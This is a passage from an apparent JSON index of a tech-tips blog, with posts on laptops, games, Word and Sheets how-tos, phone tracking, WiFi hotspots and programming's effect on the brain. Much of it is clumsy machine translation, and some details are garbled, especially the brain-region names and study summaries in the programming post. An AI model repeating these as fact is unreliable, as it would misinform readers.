discrete graphics card. Core 2 Duo processors and discrete graphics cards can completely \" suppress \" Core i models using integrated cards.\nHigh definition entertainment (HD) is just a small thing. Even Core 2 Duo models equipped with 4500MHD graphics cards (supporting DXVA) were able to smoothly handle Full HD 1080p format (using a graphics card (GPU) for demonstration). At the same time, Core 2 Duo models, like the HP ProBook, have also integrated HDMI ports for purposes of these issues.\nYou are a successful new entrepreneur, student, a travel lover, besides choosing the processor and graphics solution, you need to pay attention to the design of the machine. Must ask questions, use comfort, is it impressive and suitable for your personality. It is possible to consider models with wide screen (15, 16 inches), besides specifications such as memory capacity (Memory), capacity and storage speed (HDD) to serve the most accurate demand for use and financial capacity.\nAlso, don't forget to find out about promotions that apply to each model, because that's your own benefit.\nncG1vNJzZmismaXArq3KnmWcp51ksKm7zqycZpldmLyzsYxrZJ2tn2K8s3nCqKmeZZmosrO1xKxkpZmgqbyx\n","link":"/post/choose-a-core-2-duo-or-core-i-series-laptop/","section":"post","tags":null,"title":"Choose a Core 2 Duo or Core i-series laptop"},{"body":"Deus Ex GO is a unique and creative turn-based puzzle game. The context of the game is the Deus Ex universe, a future world, where science and technology have grown tremendously, the machines are used to transplant / replace parts of the human body.\nThe task of the player is to control the main character 'half-human half-machine', inspector Adam Jensen prevents bad guys, maintain social balance, overthrow the Illuminati organization.\n  During the game, players will have to use their ability to judge and logical thinking to control Adam Jensen to move through the screen designed like a chessboard, dodge obstacles, fight. and destroy the enemy.\nDeus Ex GO has a gameplay focused on strategic elements rather than action scenes.\nThe game has more than 50 challenging levels for you to be spoiled for. Each game screen has a time limit to complete.\nMinimal graphics and convenient touch controls are one of the factors that help Deus Ex GO attract a large number of players.\nCurrently, Square Enix developer is offering a free program for Deus Ex GO on Android for a short time. If you like this puzzle game, quickly download and experience Deus Ex GO before the promotion period ends.\nDeus Ex Go on Play Store\nhttps://play.google.com/store/apps/details?id=com.squareenixmontreal.deusexgo\nncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdmbK2v4yer2afn2KubrPRnpitZaCqx7u4xGaemqWVYrOwvoybpq2gXZa7pb7OoptmmZ6Zeqq70magrGWWp7Km\n","link":"/post/download-deus-ex-go-a-great-puzzle-game-for-both-android-and-ios-is-free/","section":"post","tags":null,"title":"Download Deus Ex GO, a great puzzle game for both Android and iOS, is free"},{"body":"Download Hard Disk Sentinel here\nFeatures of Hard Disk Sentinel Simple and accessible user interface   You may find the program a bit difficult to use when you first open it, but that's because it's packed with features, displaying valuable information about a variety of components. Drives and partitions are listed on the left side, along with health, temperature, and free space, so it's easy to select a drive and find more information about it.\nOn the other hand, the features are organized by tabs, along with detailed explanations to assist you at all times. The Overview tab displays brief information about the performance and health of the hard drive, as well as the uptime of the hard drive (Power on time, full 24h = 1 day) and the estimated remaining remaining life of the hard drive (Estimated remaining lifetime). Running the Surface Test will show even more information and help you troubleshoot potential problems.\n  Enables monitoring of hard drive status The Temperature section displays the current values ​​for the selected drive, as well as the average and maximum temperatures for the day. In addition, the program displays 3 different graphs for current temperature, average temperature and daily maximum temperature. Disk performance is the most handy part, as it shows details like total read and write data, current, average and maximum transfer rates, and estimated maximum transfer speeds. calculation and average performance of the drive.\n  Hard Disk Sentinel has a comprehensive settings menu for configuring hotkeys, controlling drives, setting notifications, warnings, and even how the hard drive temperature icon shows up in the system tray. There are many tests available, including Random Seek Test and Surface Test. It is best to close all other applications before testing to get the most accurate results possible.\nHard Disk Sentinel is definitely worth a try, if you're afraid that your hard drive may have problems.\nncG1vNJzZmismaXArq3KnmWcp51ktaK%2Bw2aboqubYsCmutOipZ6kXZm8uLrLqJidZZiWv6V5w6KqpGWjmru1tc2eo2aglaey\n","link":"/post/hard-disk-sentinel-download-hard-disk-sentinel-here/","section":"post","tags":null,"title":"Hard Disk Sentinel - Download Hard Disk Sentinel here"},{"body":"When working in Word, you can insert multiple shapes such as arrows, captions, squares, stars, etc. Adding shapes (shapes) into Word is not new but with instructions We provide below, you will get more beautiful and interesting documents.\nInsert shapes in word 2016 Step 1: Select the Insert tab, then click on the Shape item. Detailed menu containing many shapes will appear.\nStep 2: Click on the shape you want.\n  Step 3: Click and drag the shape into the desired position to add the shape to the document.\n  You can also add text to the shape. When the text appears in the document, you can type the text, then use the formatting options in the Home tab to change the font, size and color of the text.\nChange the order of the shapes If a shape is inserted into another image, you can change the order so that the shape you want appears in front. You can use Bring to Front or Send to Back to customize the command.\nStep 1: Right click on the picture you want to move. In this example, we'll let the heart appear behind the ribbon, so right click on the heart shape.\n  Step 2: In the menu that appears, click Bring to Front or Send to Back. Click on the desired order option. Here we will choose Send to Back. The order of the shapes has changed as desired.\n  Resize the shape Step 1: Select the shape you want to resize. The custom size points will appear in the corners and sides of that shape.\nStep 2: Click and drag the custom points on the shape until the desired size is reached.\nStep 3: To rotate the shape, click drag the spin icon on the shape.\n  Note: Yellow spots on the shape allow you to change the position of the folds.\nEditing shapes Word allows you to edit shapes in a variety of ways. You can change this shape into a different shape, style and color of the shape as well as add different effects.\nChange the shape of the shape\nStep 1: Select the image you want to change.\nStep 2: On the Format tab, click the More drop-down arrow in the Shape Styles group.\n  Step 3: In the drop-down menu, select the style of shape you want to use.\n  The shape results after the new design is changed.\n  Change the background color of the shape\nStep 1: Select the image you want to change (here, we will choose the heart shape).\nStep 2: In the Format tab, click the drop-down arrow in the Shape Fill section. Choose the color you want to use. To see more colors, click More Fill Colors.\n  Results after being filled.\n  If you want to use a different fill color, select Gradient or Texture from the drop down menu. You can also choose No Fill to make the shape transparent.\nChange the outline (outline color) of the shape\nStep 1: Select the image you want to change (ribbon image). On the Format tab, click the Shape Outline downward arrow.\nStep 2: Choose the color you want to use. If you want to make the outline of the transparent shape, click No Outline.\n  Results after change\n  Besides, in the drop-down menu, you can change the thickness of the contour again.\nAdd effects to shapes\nStep 1: Choose the image you want to change (heart shape). Then, in the Format tab, click the drop-down arrow in the Shape Effects section. In the menu that appears, click on the type of effect you want to add.\n  Results after change.\n  Replace another shape\nStep 1: Select the image you want to change. The Format tab will appear.\n  Step 2: In the Format tab, click the Edit Shape command. In the menu that appears, click Change Shape and select the shape you want to replace.\n  Results after change.\n  You can consult:\nTutorial for Word 2016 (Part 16): Insert images and customize the location of photos Word 2016 Complete Guide (Part 17): Edit photos in Word 2016 more professionally ncG1vNJzZmismaXArq3KnmWcp51kwbbAzqugmqRdm7yzedaoqZ1lYmV%2Bd3nPmqmtZWFteqm71marqGWRmbFuv8eap55lo52usbHS\n","link":"/post/how-to-add-shape-shapes/","section":"post","tags":null,"title":"How to add Shape shapes"},{"body":"In fact, you already have the option to reformat cells in Google Sheets when entering text, to avoid the case of text overflowing to the next cell. We don't need to resize the cell, save on manipulation. The following article will guide you how to fix text overflow in Google Sheets.\nMethod 1: Adjust the overflow text in Sheets through the Format menu In the text box where you want to compact the text in the same cell, click to select and then click on the Format above.\n  In the menu shown below, we click on the item Automatic newline and then choose next Newline to automatically return the text. By default, Google Sheets to Spill mode so the text will overflow to the cell next to it.\n  The resulting text has been carriage return in the same cell\n  In addition, if you choose Cut, the text will be hidden and will not get a newline, nor will it be overflowed.\n  \u0026nbsp;\nMethod 2: Fix the text overflow in Sheets through the toolbar If you do this quickly, then use the icons in the toolbar in Sheets . We also click on the box to align the text, and then click on the Automatic line break as shown.\n  Now display 3 different icons, from left to right including Spill, Newline and Cut. If you want the text to automatically go to line, you choose Newline, if you want the text to automatically cut, press Cut.\nSo, depending on the layout and layout requirements in the document, you can choose Newline or Cut so that the text is only in 1 cell, not overflowing to the next cell.\n  how to fix text overflow in sheets ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1sdetZKiulaezrbvWZqCnZZekvKi4xGaqoZ2VqcA%3D\n","link":"/post/how-to-fix-text-overflow-in-google-sheets/","section":"post","tags":null,"title":"How to fix text overflow in Google Sheets"},{"body":" This wikiHow teaches you how to use your iPhone's or Android's GPS to locate a lost phone, as well as how to track a cellphone using a third-party app. Open the iCloud website. Go to https://www.icloud.com/ in a browser on your...\nMethod 2of 4:\nTracking a Lost Android  Open the Find My Device website. Go to https://www.google.com/android/find in your web browser.[3] This will only work if your phone has the Find My Device app installed and enabled.   Enter your email address and password. Type in the email address that you use to log into your Android's account, click NEXT, enter your password, and click NEXT again. If you're already logged into an email address, you will most likely still have to enter your password.   Click Accept when prompted. Doing so will prompt Find My Device to begin searching for your Android.\n  Review your Android's location. Once your Android is found, you'll be able to see its location, as well as several options on the left side of the page:[4] PLAY SOUND - Plays a ringtone for five minutes, regardless of whether or not your Android is on silent. LOCK - Locks your Android with a passcode. ERASE - Erases your Android's internal memory. Erasing an Android will prevent you from being able to use Find My Device.  Method 3of 4:\nTracking a Lost Samsung  Open the Samsung Find My Mobile website. Go to https://findmymobile.samsung.com/ in a browser.[5] In order for this to work, you must be logged into a Samsung account on your phone.   Click SIGN IN. It's in the middle of the page. If you're already logged into your Samsung account here, skip this step and the next step.   Enter your account credentials. Type in your Samsung email address and password, then click SIGN IN to log into the Find My Mobile site.\n  Review your Samsung's location. Logging into Find My Mobile should prompt Samsung to look for your phone. Once your phone is located, you'll be able to see its last-known position, as well as several options on the right side of the page: RING MY DEVICE - Prompts your Samsung to begin ringing. LOCK MY DEVICE - Locks your Samsung with a password. WIPE MY DEVICE - Erases your Samsung's internal hard drive. You'll be prompted to confirm this decision with a password. You may first have to click Locate my Device to bring up your Samsung's location.  Method 4of 4:\nTracking Someone Else's Phone  Install GPS Tracker on your phone. You can install GPS Tracker (or \"PhoneTracker\" on Android) on both iPhone and Android: iPhone - Open the iPhone's  App Store, tap Search, tap the search bar, type in gps tracker, scroll down and tap GET next to \"GPS TRACKER\", and enter your Apple ID password or Touch ID. Android - Open your Android's  Google Play Store, tap the search bar, type in phonetracker with friendmapper, tap PhoneTracker with FriendMapper, tap INSTALL, and tap ACCEPT.   Open GPS TRACKER on your phone. Tap OPEN in your phone's app store, or tap the app icon on your phone. If prompted to allow access to your phone's location, tap Yes, Agree, or Allow.   Swipe right four times. This will take you to the account creation section.\n  Tap Step 1 - Create Account. It's at the top of the page.\n  Enter your account details. Fill out the following fields: e-mail address verify e-mail address first name last name On Android, you'll enter your first and last name before entering your email address.   Tap Create Account. It's at the bottom of the screen.\n  Tap OK when prompted. This will take yu back to the initial account creation page.\n  Tap Step 2 - Enter Confirmation Code. It's near the middle of the page.\n  Retrieve your confirmation code. Open your email address, find the email from \"Registration\" with the subject \"Registration Code\" and open it, and note the red-text number in the body of the email. If you can't find this email in your inbox, check the Spam or Junk folder.   Enter the confirmation code. Type the confirmation code into your iPhone's or Android's GPS Tracker app's text field.\n  Tap Verify Confirmation Code. It's below the text field. This will confirm your email address and create your account on this phone. On Android, you'll instead tap Activate here.   Repeat the setup process on the other person's phone. Download and open the app, create an account, and verify the email address that you used to create the account. You can use the GPS Tracker app on an iPhone to track an Android and vice versa.   Tap ＋ on your phone. It's in the top-right corner of the GPS Tracker main page.\n  Tap Send Invite. You'll see this near the top of the page. If prompted to allow GPS TRACKER access to your contacts, tap OK. You will need to have the person's email address in your iPhone if you want to track them. On Android, you can tap Enter Email in the top-right corner of the screen to enter an email address.   Select a person to invite. Tap the name of the person whom you want to track.\n  Tap Send. It's in the top-right corner of the screen. On Android, tap an email service, then tap the paper plane-shaped icon in the top-right corner of the screen.   Have the other person accept your invite. To do so, they'll open the inbox of the email that they used to create their GPS Tracker account, note the code in the \"This code was created by the app to link our phones\" section, open GPS Tracker if it isn't already open, tap + in the top-right corner, tap Accept Invite, enter the code that you sent to them, and tap Verify.\n  Review the other person's location. Every ten minutes, GPS Tracker will update with the other person's phone's current location. You can monitor this from the main GPS Tracker page.\n  Isabella Humphrey Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BgqHq1vsCcomaZXZiyrbiMqZ%2BoppU%3D\n","link":"/post/how-to-gps-track-a-cell-phone/","section":"post","tags":null,"title":"How to GPS Track a Cell Phone"},{"body":"The online file sharing and sending services are currently selected by many people due to the fast implementation process, without registration, but can send a large amount. WeTransfer is an online file sending service, supporting sending 2GB files with a free account and with an upgrade account up to 1TB. The file will automatically cancel on the server when the default timeout. In the process of sharing we can download multiple files at the same time to save time. The method of sending files that WeTransfer uses is via email address or sharing link. The following article will guide you how to send files on WeTransfer.\nInstructions to send files on WeTransfer online Step 1:\nUsers visit the link below to access the homepage of WeTransfer. We do not need to register an account and can use it always.\nhttps://wetransfer.com/  At the first page click I agree to agree to use the site.\nStep 2:\nDisplay the interface to choose whether to send individual files or send entire folders by clicking Or select a folder. Next we enter the email of those who want to send , enter your email , the message if needed. Finally we press Transfer to transfer.\n  In case you want to send faster via shared link without email, click the 3-dot icon and select Get transfer link .\n  Step 2:\nThe file transfer process takes place right after. At the end of the interface shown as below. File exists for 7 days before deleting from the server . With Pro account, it will be longer in 28 days.\n  Step 3:\nThe link to download the file is sent to the opponent's email. They just need to open the mail and then click on the mail sent from WeTransfer . If sending via the link, just send the link you have for the person you want to send is done.\nAt the email you will see the deadline for the file remaining in the system. Within 7 days, the email can be downloaded at any time without limitation.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2BmecWio56rXaq9bsDOZmmgml2ku27DxK2pmqajm7Kz\n","link":"/post/how-to-share-files-up-to-2gb-on-wetransfer/","section":"post","tags":null,"title":"How to share files up to 2GB on WeTransfer"},{"body":"All of these functions are combined in the Gem4me super-application. Communicating and hosting channels in a messenger are common functionalities for modern users, while a marketplace built-in within a communication application – is still a new notion on the market of communication and online commerce.\n  Capabilities of MarketSpace Gem4me – an international messenger and MarketSpace contains users from various countries. Therefore, the first function that is depicted on the main page of the online store is the option to choose a country for making commercial transactions. Having made the choice, a user is able to select products or services required by using a precise filter or a list of categories.\nThe search with a filter can be set up through a variety of parameters: category, country, city and many others. The results can be sorted by a user's preference: by the popularity of an offering, by price from high to low or low to high, as well as, by most recent additions.\nMarketSpace offers all the main categories of products: entertainment, transportation, real estate, business and services, fashion, beauty and style, products for children, home and garden, pet care and accessories, sport inventory, electronics and many others.\nEach category has detailed subcategories, in order for the search results to be precise. For example, the 'Entertainment' section offers the choice of products from the following subcategories: tickets, games, books, art, music, travel and leisure, handmade and etc.\nEach of the subcategories is also divided in various branches. For instance, the 'Books' section allows users to choose the most suitable option from the following: antique books, audio books, fiction, educational literature and many others. Moreover, the 'Handmade' section offers such options as: embroidery, knitting, painting, ceramics, decorations, floristry and others.\nThe 'Transport' category publishes classifieds for the sale of automobiles, vehicles, snowmobiles, trailers and various spare parts. The 'Real Estate' section showcases apartments, houses, land parcels, garages and commercial realty for sale.\nMarketSpace provides not only products, but also various services. One can locate solutions for a broad range of requests. Whether it is accounting services, real estate related, childcare, educational services, device repairs, translations, building and renovation services, cleaning and even receiving legal advice.\n  This marketplace showcases all of the most popular categories of online stores. The 'Fashion, beauty and style' section offers a wide selection of clothing and shoes, choose various accessories, order makeup and perfume. Furthermore, seasonal products for the home and garden are also in stock: pools, plants, lighting, furniture and decor, gardening equipment.\nThose who enjoy sports can search through a broad assortment of athletic inventory. The marketplace offers bicycles, equestrian equipment, diving, ski and snowboarding, scooters and athletic clothing. Additionally, a broad selection of electronics is also available: TVs, computers, tablets, photo and video cameras and more.\nThe format of the ecosystem assumes maximized convenience and services for the user, hence, not only products and services can be found in MarketSpace, but even employment. The 'Work' section offers numerous subcategories: administrative jobs, jobs in education, culture, manufacturing, building and development, tourism and other industries.\nUsers from various countries purchase and sell products on MarketSpace, while in order for the communication process to be more convenient the messenger has a built-in translator to 17 languages, which allows to automatically translate messages or discuss efficiently between merchants or buyers from practically any part of the planet.\nRecommendations and Promotion of Products and Services For the convenience of users, the main page of MarketSpace offers several sections with recommendations on various criteria.\nThe 'Best offers' section displays products with good correlation of price vs quality, as well as, interesting and unique items that deserve special attention. Additionally, the 'Discounts' section allows one to find the latest discounted products and services and not miss the latest sales, while the 'New' section showcases the latest additions to the variety of what is offered by merchants on the marketplace.\nThe 'Popular Products' section depicts what products are most in demand by other customers, while the 'Hits' section circulates through leaders of sales in a given period.\nNaturally, the 'Recommended for you' section consists of suggestions based on a user's preferences and interests.\nEach group depicts 4 products on the main page, to view the full list simply press the 'Show all' option.\nNot only popular and most purchased products are rotated on the main page of the marketplace, but the developers also generate an assortment of interesting products, including from new and smaller stores, in order for them to also receive the spotlight, gain an audience and have the opportunity to develop their business in MarketSpace.\n  How to Create Own Store For those who are interested in growing their online business MarketSpace will be perfect as the commercial platform for selling a product or a service. The option of switching to a business profile and registering is available to everyone right on the main page of the interface of the marketplace. The registration process is quite straightforward and simple, no excessive or enduring steps and it takes a very short time. Simply complete the mandatory registration fields and get right to business. Most importantly, should a user already have an existing online store, MarketSpace offers the capability to upload the whole store at once, not item by item for the convenience of the entrepreneur.\nUpon the completion of registration in the interface of a seller's account, the merchant will be able to view his or her listings, receive orders, set up payments and coordinate the whole commercial activity. Further, users can contant merchants directly through the messenger portion of the ecosystem in order to discuss the purchase, payment and delivery.\nThis is a bright example of the convenience offered by unified infrastructure, which is the sole purpose of why such super-applications as Gem4me are being created.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqulmLCmv9KfrKWkqWLAprjLZrCoraJitLC7w6xkqKZdqbWmec2ermaonJbBp7vRpg%3D%3D\n","link":"/post/how-to-successfully-sell-your-goods-on-the-new-platform/","section":"post","tags":null,"title":"How to successfully sell your goods on the new platform"},{"body":"WiFi extender is a specialized device or software that can repeat and extend wireless signals. Typically, WiFi extenders are needed in large spaces or buildings where even a dedicated router cannot cover the entire space.\nIf you're currently looking for the fastest and most economical way to expand your wireless network, read the following article to learn how to use your Windows 10 computer as a dedicated WiFi extender.\nOf course, the fastest and cheapest solution is not always the best solution. Therefore, it is best to buy a repeater for about 1 million or choose a dedicated extender software with the same price.\nBut, if you want a quick solution and don't have to pay anything, the integrated Windows 10 feature would be the perfect choice for you. However, unlike the paid options mentioned above, the Windows solution comes with a few drawbacks: This wireless repeater software will create a second hotspot that your device must connect to.\nSet up your Windows 10 PC to act as a WiFi extender This is not really a classic WiFi extender because a new hotspot network will be created - this network will be different from the real WiFi network provided by your router. The new wireless access point has its own name and passphrase.\nCreating a separate wireless hotspot in Windows 10 to extend wireless signals is easy. All you have to do is:\n1. Press hotkey Win+ Ito open Settings.\n2. From System Settings , click Network \u0026amp; Internet .\n Click on Network \u0026amp; Internet 3. In the next window, from the left panel, select Mobile hotspot.\n4. Turn on the Share my Internet connection with other devices option .\n5. After that, click Edit , then name and new network password.\n6. Save the changes.\nUse MyPublicWifi Follow these steps to set your computer as a WiFi extender with MyPublicWifi:\n1. Download and install MyPublicWiFi.\nNote: You will have to restart the computer after the installation is completed.\n2. Connect to WiFi adapter.\n Connect WiFi adapter Let the drivers install themselves. It may take some time depending on the availability of updates, computer configuration, and Internet speed as well.\n3. Start MyPublicWiFi in admin mode.\n Start MyPublicWiFi in admin mode 4. Select a network name and password.\n Choose a network name and password 5. Find the Enable Internet Sharing drop-down menu . Select the network you want to share. In this case, select the WiFi connection created for the main router connected to the Internet.\n Select the network you want to share 6. Click Set Up and Start Hotspot .\n7. Connect to the network you named in your setup!\n Please connect to the network you have named in setupncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqiedaipZ2np6h6cnyMqZpmmaNirm7DyJ%2BgZp2oqbKvsMSr\n","link":"/post/how-to-use-a-windows-10-pc-as-a-wifi-extender/","section":"post","tags":null,"title":"How to use a Windows 10 PC as a WiFi extender"},{"body":"The Dell Inspiron 1440 is not the best, best laptop, but the price is affordable and the configuration is flexible, the looks are solid and simple.\nWith 3 attractive, traditional red and cool blue colors, the Dell Inspiron 1440 catches the eye at first glance. Dell Inspiron 1440 has remarkable strength. You don't feel any slight touch when you touch it. Inspiron 1440 with 6cell battery provides enough capacity to meet the demands of handling the user's work in a durable, convenient way for traveling. For young people, moving is their regular need, so the convenience of Inspiron 1440 can slip into backpacks and bags that make them happy.\n  And ' delivery ' is a strong point of the Inspiron 1440 when it is fully equipped with connectivity ports, completely making users feel secure with the ability to connect widely which is the advantage of Dell models. The left edge of the device is the power jack, VGA, Ethernet jack and two USB 2.0. The front is a 6-in-1 card reader slot. The right edge of the Inspiron 1440 is the Express Card port, the optical drive. Now it's only with the Inspiron 1440, you can meet the need to connect anywhere you want.\nThe machine has a 14inch WL screen and it allows the option of Blu-ray drive and graphics card quite strong, making the experience great. Quality speaker ensures sharp, vivid sound. Integrating from the most quintessential of the world's most prestigious computer company, Dell Inspiron 1440 has the character of modern and dynamic young people. A perfect 'assistant' can level all your challenges for your work or study.\n  The Dell Inspiron 1440 works well enough to do all the basic tasks of the user even when you're on a long journey. Versatile, Inspiron 1440 is not difficult to handle your work smoothly if you need web browsing, email checking, basic graphic editing, word processing, 2D game play . With smart Inspiron 1440 Using Intel (R) Pentium® T4300 chip (2.1GHz, 800MHz, 1MB), 320Gb hard drive, all the requirements of the work will be perfectly processed. More demanding tasks such as 3D games, high-level graphics editing, HD video playback or multiple programs at the same time will definitely make it difficult for the Inspiron 1440, especially the machine will handle slowly, But that is not a problem when users can upgrade it at any time.\nReference price of Dell Inspiron 1440 S560807: 11,490,000 VND, not including VAT.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2Fz6KpqKZdZoF1fIyppqmtnJa%2FbrjAqauoqF2WwbW%2BwJyrrGWTqsC1u8yeqaw%3D\n","link":"/post/inspiron-1440-popular-laptop-attracts-customers/","section":"post","tags":null,"title":"Inspiron 1440 - Popular laptop attracts customers"},{"body":"If you are curious about how to play Fortnite on iPhone, here is a list of all the basic operations you need to start playing.\nWhether you're lucky enough to receive an invitation to play Fortnite Battle Royale or you're eager to wait for an Epic Games email, you'll also wonder how to play such a large-scale game on the iPhone screen?\nHow to live stream iPhone game screen to Facebook? How to disable ads when playing games on iPhone How to play PlayStation games on iPhone, iPad If you have ever played the first-person or third-person shooter on the iPhone, you will soon be familiar with Fortnite because it also uses dual-stick control system similar to other games. Here is a quick summary of all the operations you need to know to become the last to win!\nMove around\n  In the bottom left corner of the screen, you will see the Joystick button (Omnidirectional button) on the screen. This is a button that helps move your character around.\nJust press the button and slide it around in any direction you want to go!\nCrouch (Shield)\n  Crouch allows your character to hide behind a veil that makes it harder for other players to see you.\nClick the crouch button located near the top right of the screen.\nLeap\n  Jump button allows you to move through obstacles and climb structures to get a better view.\nClick the jump button located on the right side of the screen to jump.\nPick up items\n  To get bullets, guns, and construction materials, you need to run through them. However, certain items such as items you need to open manually.\nJust click on the object you want to pick up or open.\nSwitch weapons / items\n  All items you have to use will appear in the row at the bottom of your screen.\nTo use any item or weapon, simply touch the item you want to use and the character will be equipped with the item.\nTarget / Look around\n  Of course, not all enemies will appear directly in front of you, so you will need to target.\nTo target or look around, you need to drag your finger around the right side of the screen. You can do this from most points to the right of the screen, but the area between buttons and items (shown by yellow rectangles) is the best point to hold your finger.\nAttack, shoot, use items\n  There are two ways to attack, shoot, or use objects in Fornite Battle Royale. You can click anywhere on the screen, or click the attack button on the left side of the screen.\nShot through the scope\n  If you have sighted weapons, or you want to shoot more accurately, you should use aim down sight.\nYou can do this by pressing the target button on the right side of the screen when armed.\nLoaded weapons\n  All weapons are unusable forever, you will need to reload them if you want to use it again. Just press the reload button on the objects near the bottom of the screen to reload weapons!\nOpen backpack\n  If you want to inventory all items you bring, simply press the backpack button at the bottom of the screen.\nBuild menu (construction menu)\n  If you want to build a new structure, you first need to access the build menu. Open the build menu by pressing the build button on the right side of your stock icon.\nBuild a new structure\n  Once you're in the construction menu, you can build a new structure. Touch the screen to switch between wooden, metal and brick buildings and choose the type of structure you want to build.\nOnce you have selected the structure and moved it to the position you want, simply press the screen to complete the construction process!\nSee more:\nHow to play the virtual cat CryptoKitties game Tips for playing EverWing games for beginners PlayerUnknown's Battlegrounds keyboard shortcut Tips for playing Rules Of Survival to stand TOP Tips to become the last survivor in PlayerUnknown's Battlegrounds game ncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddpbmixcinnmaen6fBr7XTnmSgmZ2awG67zWagqaCfo7Jurc2dZKKokZk%3D\n","link":"/post/guide-to-playing-fortnite-games-on-iphone-and-ipad/","section":"post","tags":null,"title":"Guide to playing Fortnite games on iPhone and iPad"},{"body":" Top 20 free programming learning websites need to bookmark immediately! 75 great user interface design ideas you need to know - Part 1 How to become a good software developer? The truth is: Programmers often think differently than people.\nNot all developers need to be smarter, think more logical or rational than others. But scientists have recently begun studying the programmers' brains and made some interesting conclusions.\nJust as art can shape your mind in different ways, programming also affects the way you think - perhaps in a way you don't expect.\nLet's TipsMake.com find out how programming affects our brain in the article below!\n1. Code oriented your mind models   Does this relate to the choice of your first programming language? - The answer is yes.\nDoes this seem not \"fair\"? After all, most of us know the first programming language at school and we don't have the opportunity to choose our own programming language. I - the author of the article, started with the C programming language. Older people may start with FORTRAN, COBOL or BASIC. And you, must be a new programmer in the profession? You can start with Java or Python.\nThere is no doubt: The design of programming language shapes the way you think.Edsger Dijkstra , one of the most influential computer scientists in history, said this when he said:\n\" The tools we use have a profound (and related) impact on the habit of thinking everyday and therefore, affect thinking ability .\"\nEdsger Dijkstra continues to say:\n\" COBOL use paralyzes the mind. Therefore, its education should be considered a criminal crime .\"\nAnd:\n\" In fact, it is not possible to teach good programming to students who have been exposed to BASIC: as potential programmers have been 'hurt' mentally beyond the ability to recover hope.\nIn a sense, all programming languages ​​are capable of being equivalent to the Turing-complete programming language. But in another sense, mastering a language can lead to the destruction of another language. Java programming and Python programming are two different beasts, they approach the code in two completely different ways.\nIn other words, the models and idioms of the first programming language affect and even show how you think about data structures, algorithms, etc.\nIndeed, it can actually take anonymous code and determine who wrote it based on the task approach and how to write code. The more difficult the task, the \"de-anonymize\" the easier.\nSee this article on stylometry code [PDF] and a description of code stylometry lessons:\n\" Developers may misunderstand their variable names or functions, but not the structures that the subconscious they want to use or their favorite incremental operators .\"\nIn English, we have a proverb that expresses this in a understandable way: \" When you have a hammer, everything is like a nail .\" Likewise, when you have learned how to program something, often shape thinking about all issues that way.\nSo when choosing a programming language, be smart and careful!\nSee also: Top 7 IT-related jobs without code\n2. Code helps strengthen brain health   People often say that the brain is like muscles and you need to exercise if you want to keep your sensitivity. Is that really true? And if so, is programming considered a mental exercise enough to affect brain health?\nA 1991 study looked at \" the impact of computer programming on cognitive outcomes \" and found that students with computer programming experience scored 16 percent higher than other students in the study. Test of cognitive ability.\nA larger study in 1999 found and confirmed that \" brain-related activities serve to combat cognitive decline \", but also noted that cognitive decline may lead to less involved in intellectual-related activities.\nA larger study in 2009 came up with a similar conclusion, suggesting that \" people involved in brain stimulation activities in subsequent years may reduce the risk of cognitive decline (and even Releases the emergence of Alzheimer's disease and other dementia \"including reading, writing, quizzes, card games, chess games and music listening.\n  Finally, a study published in 2013 found that only certain categories really affect the brain's sensitivity, which is high cognitive activities including learning and difficulties. wisdom.\nOf course, more research is needed but it's hard to think of any cognitive activities that require more learning and practice than programming.\nAlthough no research has shown that intellectual engagement activities make you smarter or more capable, they show that highly-aware jobs will at least help significantly improve health and prevention. bad impact on nerves.\nIt's never too late to learn programming like an 82-year-old female programmer in Japan and these studies only serve to reinforce our position. Programming is good for you!\nSee also: 10 useful tips for new programmers\n3. Code not Math and Logic   According to a 2014 study, using fMRI scans to observe brain activity while programmers try to work and understand the code, five different positions of the brain involved in understanding the source code:\nTHREE 6 : Middle forehead (Attention, language, working memory) BA 21 : Mid-solar regression (Revoke semantic memory) BA 40 : Lower sub-lobes (Working memory) BA 44 : Lower forehead (Working memory) BA 47 : Lower forehead (Language, working memory) This means working through source code primarily using parts of the brain that often involve handling language, memory and attention.\nIt is worth noting that brain regions are often associated with math and computation, which is only registered - even when understanding the code relating to loops, conditions, arithmetic and other algorithms.\nOf course, this research is incomplete and researchers admit more:\nThe code in the test under 20 lines of code and time limits, meaning that they are not difficult enough to challenge topics. Evidence does not show that programming languages ​​are like foreign languages, only that they relate to similar areas of the brain. Threads that do not write any of their code, may involve different areas of the brain rather than trying to understand existing code. However, this is what we can see:\nWe know that programmers often review the source code, whether it is self-written code or someone's proprietary code. Moreover, developers often spend more time fixing and refactoring code than writing new code.\nTherefore, this study is not meaningless. Programming is not just a \"left hemisphere\" activity and may even argue that the right hemisphere programmers also see this.\nHow to become a better programmer? Programming skills don't come easily, but it will come if you work hard. Check out our tips for mastering programming languages ​​or articles:\nForm a way of thinking like a programmer 27 things I wish I knew before programming 11 basic principles that every programmer should follow 8 websites that help programmers practice coding skills Having fun!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2mnqtdpb%2Bws9GapKahnpx6orLFnpqtZZ%2Bqv26u0Zqgp6s%3D\n","link":"/post/how-does-programming-affect-our-brains/","section":"post","tags":null,"title":"How does programming affect our brains?"},{"body":" There are several methods for Windows that allow you to make a backup of a DVD with only one DVD ROM drive. Windows is able to burn DVDs but it is not able to copy from an existing DVD without using 3rd party software such as ImgBurn. You...\nPart 2of 2:\nBurning an ISO to a Blank DVD  Check your DVD burner drive for compatibility. You will need either a DVD-R, DVD-RW, DVD+R or DVD+RW disk to burn the content onto. Check with the user guide of your computer or burner drive to see what your drive is compatible with, though most modern drives will be compatible with all types. A DVD-R and DVD+R or (Digital Versatile Disk Recordable) can only be burned once. If there are any mistakes you have to use another DVD to burn the content on. A DVD-RW and DVD+RW or (Digital Versatile Disk Re-Writable) allows you to burn the content on the DVD, erase it, then burn the content onto the DVD again. The plus (+) and minus (-) indicates different recording formats, but works the same when burning an ISO image on the DVD.[2]   Place a blank DVD into the drive. If you are running Windows 7 or beyond, you are able to natively burn DVDs from an ISO. If you are running a version of Windows before 7, you can also use ImgBurn, Nero or other burning software to burn an ISO to a DVD.\n  Locate the ISO file. Use Windows Explorer to locate the ISO 